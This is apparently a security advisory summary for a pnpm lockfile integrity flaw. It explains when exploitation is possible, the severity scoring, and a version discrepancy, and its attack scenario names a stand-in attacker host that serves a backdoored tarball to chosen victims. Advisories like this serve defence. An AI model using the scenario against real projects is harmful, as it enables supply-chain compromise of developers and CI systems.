pnpm CVE-2025-69263

Requires the victim project to have, anywhere in its transitive dependency tree, a package that resolves via an HTTP/HTTPS tarball URL, a github: shorthand specifier, or a git+https URL - npm-registry-only dependency trees cannot be exploited because registry metadata supplies the integrity hash that pnpm records. The attacker must control the tarball server (publish the malicious package and host the mutable tarball endpoint), and the victim must execute 'pnpm install' (UI:R in the CVSS vector); no authentication on the victim system is required and the committed lockfile provides no protection. The vulnerable pnpm version (<10.26.0 per GHSA, or ≤10.26.2 per NVD description) must be in use on the installing machine.

The CVSS 3.1 vector AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H scores 8.8 and reflects network reach with required user interaction (the victim must run an install). EPSS is only 0.01% (1st percentile) and the CVE is not on CISA KEV, indicating no observed widespread exploitation despite publicly available exploit code in the GHSA PoC; this is consistent with a supply-chain weakness that needs a willing malicious publisher and a victim project pulling an HTTP/git tarball. There is a notable signal conflict: the NVD description states 'versions 10.26.2 and below' are vulnerable while the GHSA advisory and patch commit state the fix landed in 10.26.0 - consumers should treat 10.26.0+ as fixed per the upstream advisory but verify against their own version. Real-world risk is moderate-to-high for organizations whose dependency trees include HTTP tarball or github:/git+https references (common in monorepos and internal packages) and low for projects sourcing exclusively from the npm registry.

An attacker publishes a benign-looking npm package (or compromises an existing one) whose package.json declares an HTTP tarball dependency such as 'helper': 'https://attacker.example/helper.tgz'; the attacker's server returns clean code during security review and to common scanner IP ranges, but returns a backdoored tarball to a target organization's CI runner identified by source IP or user-agent. A developer runs 'pnpm install' or CI executes a fresh install, pnpm fetches the URL recorded in the lockfile but performs no integrity check, and the malicious payload executes during the install lifecycle or at runtime. A working PoC is published in the GHSA advisory demonstrating divergent content per install.